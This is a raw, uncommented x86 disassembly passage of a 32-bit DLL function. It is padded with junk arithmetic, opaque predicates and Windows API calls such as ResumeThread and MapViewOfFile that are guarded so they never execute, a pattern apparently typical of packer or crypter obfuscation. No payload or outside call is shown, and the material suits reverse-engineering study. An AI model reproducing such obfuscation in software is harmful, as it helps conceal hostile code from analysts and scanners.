jmp 0x1004dfd7
mov dword [ebp - 0x1c], 0
jmp 0x1004e00a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1004e020
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x570], 0xfffffffb
jmp 0x1004e003
mov dword [ebp - 0x1c], 0
jmp 0x1004e030
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1004e046
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x270], 0xfffffff9
jmp 0x1004e029
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x4b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x270]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x460], 0
jne 0x1004e095
xor eax, eax
inc eax
jne 0x1004e095
and dword [ebp - 0x258], 0
jmp 0x1004e09f
mov dword [ebp - 0x258], 1
mov eax, dword [ebp - 0x3e8]
cmp dword [ebp - 0x258], eax
je 0x1004e0b9
mov dword [ebp - 0x300], 1
jmp 0x1004e0c0
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x268]
cmp eax, dword [ebp - 0x300]
jl 0x1004e0da
mov dword [ebp - 0x260], 1
jmp 0x1004e0e1
and dword [ebp - 0x260], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x570], 0xb4b1
mov eax, dword [ebp - 0x260]
add eax, 0xb4b1
mov dword [ebp - 0x390], eax
mov esi, dword [ebp - 0x390]
sub esi, dword [ebp - 0x430]
add esi, 0xa4a1
mov edi, dword [ebp - 0x268]
push 1
lea ecx, [ebp - 0x4a0]
call fcn.10011fc8
mov eax, dword [eax]
sub eax, edi
cmp eax, esi
jg 0x1004e13c
mov dword [ebp - 0x308], 1
jmp 0x1004e143
and dword [ebp - 0x308], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x308]
mov dword [ebp + eax - 0x270], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4a0]
call fcn.10011fc3
mov dword [ebp - 0x4c4], 0x10662d90
mov dword [ebp - 0x88], 5
mov dword [ebp - 0x4cc], 0x4e79
mov dword [ebp - 0x88], 0xffffffe3
jmp 0x1004e19c
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xfffffff3
jne 0x1004e1be
mov byte [ebp - 0x4f], 0
movzx eax, byte [ebp - 0x4f]
test eax, eax
je 0x1004e1bc
push 0x363
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1004e18f
mov dword [ebp - 0x3f0], 0x1bbe
cmp dword [ebp - 0x3f0], 0x117d
jge 0x1004e2e8
lea eax, [ebp - 0x12c]
push eax
push 0x1000b200
call fcn.1005856b
pop ecx
pop ecx
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x45c], 0
je 0x1004e2e8
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x14c]
push eax
push 0x1000b21c
call fcn.1005856b
add esp, 0xc
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x134]
jge 0x1004e24e
mov eax, dword [ebp - 0x134]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x358], eax
jmp 0x1004e260
mov eax, dword [ebp - 0x14c]
sub eax, dword [ebp - 0x134]
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
cdq
push 5
pop ecx
idiv ecx
test edx, edx
jle 0x1004e288
mov dword [ebp - 0x278], 1
jmp 0x1004e28f
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x160]
cdq
push 5
pop ecx
idiv ecx
cmp edx, 2
jle 0x1004e2ac
mov dword [ebp - 0x310], 1
jmp 0x1004e2b3
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x160]
cdq
push 5
pop ecx
idiv ecx
add eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x310]
mov dword [ebp - 0x3f8], eax
push dword [ebp - 0x3f8]
push 0x1000b22c
call fcn.10058bc8
pop ecx
pop ecx
jmp 0x1004e1eb
mov dword [ebp - 0x4d4], 0x10662d94
mov byte [0x10f6afc1], 1
mov dword [ebp - 0xb4], 0xad72
mov dword [ebp - 0xb0], 0xad72
mov dword [ebp - 0xac], 0xad72
mov dword [ebp - 0xa8], 0xad72
mov dword [ebp - 0x108], 0xe730
mov dword [ebp - 0x44], 2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
jne 0x1004e44c
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb4]
cmp dword [ebp + eax - 0xb4], ecx
jge 0x1004e38a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
jne 0x1004e38a
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb4], 0
jne 0x1004e38a
and dword [ebp - 0x280], 0
jmp 0x1004e394
mov dword [ebp - 0x280], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0x280], eax
jg 0x1004e3b4
mov dword [ebp - 0x380], 1
jmp 0x1004e3bb
and dword [ebp - 0x380], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0x380], eax
jg 0x1004e3dc
mov dword [ebp - 0x288], 1
jmp 0x1004e3e3
and dword [ebp - 0x288], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov dword [ebp - 0x108], eax
imul eax, dword [ebp - 0x288], 0xf157
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x108], eax
jg 0x1004e41a
mov dword [ebp - 0x318], 1
jmp 0x1004e421
and dword [ebp - 0x318], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x318]
sub ecx, dword [ebp + eax - 0xb4]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0xb4]
je 0x1004e44c
and dword [ebp - 0x290], 0
jmp 0x1004e456
mov dword [ebp - 0x290], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0x290], eax
jle 0x1004e477
mov dword [ebp - 0x360], 1
jmp 0x1004e47e
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x360]
sub eax, 0x55073046
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xb4]
je 0x1004e4b0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0
jne 0x1004e4b0
and dword [ebp - 0x180], 0
jmp 0x1004e4ba
mov dword [ebp - 0x180], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0x180], eax
jl 0x1004e4db
mov dword [ebp - 0x188], 1
jmp 0x1004e4e2
and dword [ebp - 0x188], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x188]
sub ecx, dword [ebp + eax - 0xb4]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0xb4]
jle 0x1004e565
mov byte [ebp - 0x53], 0
movzx eax, byte [ebp - 0x53]
test eax, eax
je 0x1004e525
push 0x3cd
push 0x2104
push 0x2438
call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x44], 0
jmp 0x1004e535
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff5
jne 0x1004e563
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x1004e54f
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp - 0x32]
test eax, eax
je 0x1004e561
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x1004e52e
jmp 0x1004e585
mov byte [ebp - 0x33], 0
movzx eax, byte [ebp - 0x33]
test eax, eax
je 0x1004e57c
push 0xf2
call dword [sym.imp.USER32.dll_GetMenu]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x60], 0xe0cf5720
mov dword [ebp - 0x4dc], 0xffffffff
mov dword [ebp - 0x1a0], 0xffffffff
mov dword [ebp - 0x438], 0
push 3
lea ecx, [ebp - 0x474]
call fcn.10011f61
mov dword [ebp - 4], 6
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x1a8], 1
mov dword [ebp - 0x9c], 0
jmp 0x1004e5eb
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1004e60d
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x474]
call fcn.10011fc8
mov dword [eax], 0xccbad86e
jmp 0x1004e5de
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x60], 2
jmp 0x1004e62a
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x1004e706
mov dword [ebp - 0x1c0], 0x7223b16a
push dword [ebp - 0x60]
lea ecx, [ebp - 0x474]
call fcn.10011fc8
mov eax, dword [ebp - 0x438]
neg eax
cmp eax, 0x475ee4c2
je 0x1004e667
mov dword [ebp - 0x198], 1
jmp 0x1004e66e
and dword [ebp - 0x198], 0
cmp dword [ebp - 0x1a0], 0
jne 0x1004e689
mov eax, 0x56718e50
test eax, eax
jne 0x1004e689
and dword [ebp - 0x400], 0
jmp 0x1004e693
mov dword [ebp - 0x400], 1
push dword [ebp - 0x60]
lea ecx, [ebp - 0x474]
call fcn.10011fc8
mov ecx, dword [ebp - 0x198]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x1a0], eax
je 0x1004e6c3
mov dword [ebp - 0x1b0], 1
jmp 0x1004e6ca
and dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1a8], 0xffff
mov eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x1b0]
jle 0x1004e6ee
mov dword [ebp - 0x1b8], 1
jmp 0x1004e6f5
and dword [ebp - 0x1b8], 0
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c0], eax
jmp 0x1004e623
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x474]
call fcn.10011fc3
xor eax, eax
inc eax
imul eax, eax, 0x148
add eax, 0x10662da0
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xa4], 4
mov dword [ebp - 0x3b4], 0xfffffff8
mov byte [ebp - 0x35], 0
movzx eax, byte [ebp - 0x35]
test eax, eax
je 0x1004e758
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp - 0x14], 0
jne 0x1004e849
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jg 0x1004e782
cmp dword [ebp - 0x14], 0
je 0x1004e782
cmp dword [ebp - 0x14], 0
je 0x1004e782
mov dword [ebp - 0x1c8], 1
jmp 0x1004e789
and dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c8], eax
jne 0x1004e7a6
cmp dword [ebp - 0x14], 0
je 0x1004e7a6
mov dword [ebp - 0x1d0], 1
jmp 0x1004e7ad
and dword [ebp - 0x1d0], 0
imul eax, dword [ebp - 0x1d0], 0xffff
cmp eax, dword [ebp - 0x14]
jne 0x1004e7c8
mov dword [ebp - 0x1d8], 1
jmp 0x1004e7cf
and dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1d8]
jne 0x1004e7e6
mov dword [ebp - 0x1e0], 1
jmp 0x1004e7ed
and dword [ebp - 0x1e0], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1e0], eax
jne 0x1004e804
mov dword [ebp - 0x454], 1
jmp 0x1004e80b
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x14], 0xffffffff
jl 0x1004e826
mov dword [ebp - 0x408], 1
jmp 0x1004e82d
and dword [ebp - 0x408], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1004e849
and dword [ebp - 0x1e8], 0
jmp 0x1004e853
mov dword [ebp - 0x1e8], 1
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x1e8]
test eax, eax
jne 0x1004e869
xor eax, eax
inc eax
je 0x1004e8ae
mov dword [ebp - 0x440], 0xffffffff
mov dword [ebp - 0x14], 0
jmp 0x1004e883
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffffe
je 0x1004e89f
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x1004e89d
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
jmp 0x1004e87c
mov dword [ebp - 0x440], 0xeab3ae5d
jmp 0x1004e97c
mov dword [ebp - 0x110], 0x6309
mov dword [ebp - 0x3b0], 0xeeb4
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x14], 0
je 0x1004e8e9
mov eax, 0xcf7a0211
test eax, eax
je 0x1004e8e9
mov dword [ebp - 0x1f0], 1
jmp 0x1004e8f0
and dword [ebp - 0x1f0], 0
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x110], eax
jne 0x1004e916
mov dword [ebp - 0x410], 1
jmp 0x1004e91d
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x14], eax
jl 0x1004e949
cmp dword [ebp - 0x110], 0
je 0x1004e949
mov dword [ebp - 0x1f8], 1
jmp 0x1004e950
and dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x3b4], eax
mov byte [ebp - 0x34], 0
movzx eax, byte [ebp - 0x34]
test eax, eax
je 0x1004e97c
push 0
push 0x24d7
push 0xf90
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
inc eax
imul eax, eax, 0x1c
add eax, 0x10662da0
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x28], 0xe60f
mov dword [ebp - 0x23c], 0x9729cf30
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x3bc], 0x184a
cmp dword [ebp - 0x3bc], 0x44d
jge 0x1004ea30
lea eax, [ebp - 0x118]
push eax
mov ecx, 0x106636b0
call fcn.100117e1
mov ecx, dword [ebp - 0x118]
call fcn.1003fe76
cvttsd2si eax, xmm0
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x118]
jge 0x1004e9fd
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x118]
jge 0x1004ea13
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
push fcn.100165df
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x78]
push eax
mov ecx, 0x106635f8
call fcn.1003e7ba
mov ecx, eax
call fcn.10011bfa
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x3c4], 0xffffffff
mov dword [ebp - 0x494], 1
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x48c], 1
mov dword [ebp - 0x488], 1
lea ecx, [ebp - 0x14d]
call fcn.10011fd7
push eax
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x494]
push eax
lea ecx, [ebp - 0x630]
call fcn.10011fda
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x5f8]
call fcn.10011f9d
mov dword [ebp - 4], 7
cmp dword [ebp - 0x28], 0
jne 0x1004ec31
mov eax, 0x96e6a373
test eax, eax
je 0x1004eaca
cmp dword [ebp - 0x28], 0
je 0x1004eaca
and dword [ebp - 0x218], 0
jmp 0x1004ead4
mov dword [ebp - 0x218], 1
cmp dword [ebp - 0x28], 0
jle 0x1004eaec
cmp dword [ebp - 0x28], 0
je 0x1004eaec
mov dword [ebp - 0x200], 1
jmp 0x1004eaf3
and dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x200]
inc eax
inc eax
je 0x1004eb10
push 6
pop eax
test eax, eax
je 0x1004eb10
mov dword [ebp - 0x208], 1
jmp 0x1004eb17
and dword [ebp - 0x208], 0
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
je 0x1004eb31
mov dword [ebp - 0x210], 1
jmp 0x1004eb38
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x210]
dec eax
jne 0x1004eb53
cmp dword [ebp - 0x120], 0
jne 0x1004eb53
and dword [ebp - 0x220], 0
jmp 0x1004eb5d
mov dword [ebp - 0x220], 1
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x220]
jl 0x1004eb77
mov dword [ebp - 0x17c], 1
jmp 0x1004eb7e
and dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x96e6
jle 0x1004ebae
mov dword [ebp - 0x244], 1
jmp 0x1004ebb5
and dword [ebp - 0x244], 0
mov dword [ebp - 0x23c], 0x164c
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0x244]
jge 0x1004ebd9
mov dword [ebp - 0x24c], 1
jmp 0x1004ebe0
and dword [ebp - 0x24c], 0
cmp dword [ebp - 0x24c], 0xffffffff
jne 0x1004ebf5
mov dword [ebp - 0x254], 1
jmp 0x1004ebfc
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x254], eax
jle 0x1004ec13
mov dword [ebp - 0x25c], 1
jmp 0x1004ec1a
and dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x3c4]
cmp dword [ebp - 0x25c], eax
jge 0x1004ec31
and dword [ebp - 0x264], 0
jmp 0x1004ec3b
mov dword [ebp - 0x264], 1
mov esi, dword [ebp - 0x28]
imul esi, dword [ebp - 0x264]
push 2
lea ecx, [ebp - 0x5f8]
call fcn.10011fc8
mov dword [eax], esi
mov byte [ebp - 0x4e], 0
movzx eax, byte [ebp - 0x4e]
test eax, eax
je 0x1004ec7c
push 0x1eb6
push 0x26c7
push 0x132d
push 0x1bfd
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5f8]
call fcn.10011fc3
mov dword [ebp - 0xb8], 5
mov dword [ebp - 0x4fc], 0x4e79
mov dword [ebp - 0xb8], 0xffffffe3
jmp 0x1004ecb8
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffff3
jne 0x1004ecda
mov byte [ebp - 0x36], 0
movzx eax, byte [ebp - 0x36]
test eax, eax
je 0x1004ecd8
push 0x363
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1004ecab
mov dword [ebp - 0x80], 0xf73838a1
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x3cc], 0xffffffff
mov dword [ebp - 0xe8], 0x849f845
mov dword [ebp - 0x2c4], 0x7b4bc66
mov dword [ebp - 0x130], 0xb7bededb
mov dword [ebp - 0xd8], 0xc3938dd4
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xc0], 0
jmp 0x1004ed40
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x1004ed5c
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x57c], 0xfffffff8
jmp 0x1004ed33
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xe8], eax
je 0x1004ed7d
mov dword [ebp - 0x26c], 1
jmp 0x1004ed84
and dword [ebp - 0x26c], 0
cmp dword [ebp - 0x26c], 0xb608
jge 0x1004ed9c
mov dword [ebp - 0x274], 1
jmp 0x1004eda3
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x274]
jl 0x1004edba
mov dword [ebp - 0x27c], 1
jmp 0x1004edc1
and dword [ebp - 0x27c], 0
cmp dword [ebp - 0x130], 0xf7c2f5a2
jne 0x1004edd9
mov dword [ebp - 0x284], 1
jmp 0x1004ede0
and dword [ebp - 0x284], 0
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x27c]
sub ecx, dword [ebp - 0x284]
sub eax, ecx
je 0x1004ef46
mov dword [ebp - 0xc8], 0xf1e2
mov dword [ebp - 0x128], 1
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x80], eax
jg 0x1004ee4a
mov dword [ebp - 0x28c], 1
jmp 0x1004ee51
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0xd8], 0
je 0x1004ee7b
cmp dword [ebp - 0xd8], 0
je 0x1004ee7b
mov dword [ebp - 0x294], 1
jmp 0x1004ee82
and dword [ebp - 0x294], 0
mov eax, dword [ebp - 0x28c]
imul eax, dword [ebp - 0x294]
cmp eax, 0xa9d707d8
jae 0x1004eea2
mov dword [ebp - 0x29c], 1
jmp 0x1004eea9
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x29c]
sub eax, 0x7bfbc35c
je 0x1004eecb
cmp dword [ebp - 0x128], 0
je 0x1004eecb
mov dword [ebp - 0x2a4], 1
jmp 0x1004eed2
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x2a4], eax
jg 0x1004eeec
mov dword [ebp - 0x2ac], 1
jmp 0x1004eef3
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x2ac], eax
jle 0x1004ef0d
mov dword [ebp - 0x2b4], 1
jmp 0x1004ef14
and dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x2b4], eax
jg 0x1004ef2e
mov dword [ebp - 0x2bc], 1
jmp 0x1004ef35
and dword [ebp - 0x2bc], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2c4], eax
jmp 0x1004f1af
push 2
lea ecx, [ebp - 0x44c]
call fcn.10011f61
mov dword [ebp - 4], 8
mov dword [ebp - 0x4c], 0x8a24e228
mov dword [ebp - 0x3d4], 0xfffffff8
mov dword [ebp - 0x3dc], 1
mov dword [ebp - 0xd0], 0
jmp 0x1004ef8e
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x1004efb0
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x44c]
call fcn.10011fc8
mov dword [eax], 0xb2235412
jmp 0x1004ef81
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x57c]
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x51c], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x524], eax
push 1
lea ecx, [ebp - 0x44c]
call fcn.10011fc8
mov ecx, dword [ebp - 0x2cc]
add ecx, dword [eax]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x3cc]
cmp dword [ebp - 0x4c], eax
jl 0x1004f00a
mov dword [ebp - 0x2d4], 1
jmp 0x1004f011
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x2d4], eax
jg 0x1004f02b
mov dword [ebp - 0x2dc], 1
jmp 0x1004f032
and dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xd68e
jl 0x1004f04a
mov dword [ebp - 0x2e4], 1
jmp 0x1004f051
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x2e4], eax
jg 0x1004f06b
mov dword [ebp - 0x2ec], 1
jmp 0x1004f072
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x2ec], eax
je 0x1004f089
mov dword [ebp - 0x2f4], 1
jmp 0x1004f090
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2f4], 0xfffffffe
jg 0x1004f0a5
mov dword [ebp - 0x2fc], 1
jmp 0x1004f0ac
and dword [ebp - 0x2fc], 0
push 1
lea ecx, [ebp - 0x44c]
call fcn.10011fc8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x2fc]
jg 0x1004f0e9
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp - 0x50]
test eax, eax
je 0x1004f0e4
push 0x22f8
push 0x2505
push 0x1569
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x1004f1a0
mov dword [ebp - 0x52c], 0xfffffff8
mov dword [ebp - 0x138], 9
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x3d4], eax
jg 0x1004f114
mov dword [ebp - 0x304], 1
jmp 0x1004f11b
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x4c], eax
mov esi, dword [ebp - 0x4c]
push 0
lea ecx, [ebp - 0x44c]
call fcn.10011fc8
add esi, dword [eax]
sub esi, dword [ebp - 0xd8]
mov dword [ebp - 0x138], esi
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0xe8], eax
jge 0x1004f168
mov dword [ebp - 0x30c], 1
jmp 0x1004f16f
and dword [ebp - 0x30c], 0
mov dword [ebp - 0x4c], 0xa6f2
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x30c]
jl 0x1004f18d
mov dword [ebp - 0x314], 1
jmp 0x1004f194
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x138], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44c]
call fcn.10011fc3
mov eax, dword [ebp - 0x31c]
mov dword [0x10662d90], eax
mov eax, dword [ebp - 0x140]
mov dword [0x10662d94], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x140]
mov edx, dword [edx + eax]
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + ecx]
call fcn.1004cc47
mov dword [ebp - 0x3f4], eax
mov dword [ebp - 0x6c], 0xe0cf5720
mov dword [ebp - 0x534], 0xffffffff
mov dword [ebp - 0x334], 0xffffffff
mov dword [ebp - 0x3e4], 0
push 3
lea ecx, [ebp - 0x480]
call fcn.10011f61
mov dword [ebp - 4], 9
mov dword [ebp - 0x324], 0xffffffff
mov dword [ebp - 0x33c], 1
mov dword [ebp - 0xf0], 0
jmp 0x1004f254
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x1004f276
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x480]
call fcn.10011fc8
mov dword [eax], 0xccbad86e
jmp 0x1004f247
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x6c], 2
jmp 0x1004f293
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x1004f36f
mov dword [ebp - 0x354], 0x7223b16a
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x480]
call fcn.10011fc8
mov eax, dword [ebp - 0x3e4]
neg eax
cmp eax, 0x475ee4c2
je 0x1004f2d0
mov dword [ebp - 0x32c], 1
jmp 0x1004f2d7
and dword [ebp - 0x32c], 0
cmp dword [ebp - 0x334], 0
jne 0x1004f2f2
mov eax, 0x56718e50
test eax, eax
jne 0x1004f2f2
and dword [ebp - 0x3ec], 0
jmp 0x1004f2fc
mov dword [ebp - 0x3ec], 1
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x480]
call fcn.10011fc8
mov ecx, dword [ebp - 0x32c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0x334], eax
je 0x1004f32c
mov dword [ebp - 0x344], 1
jmp 0x1004f333
and dword [ebp - 0x344], 0
mov dword [ebp - 0x33c], 0xffff
mov eax, dword [ebp - 0x33c]
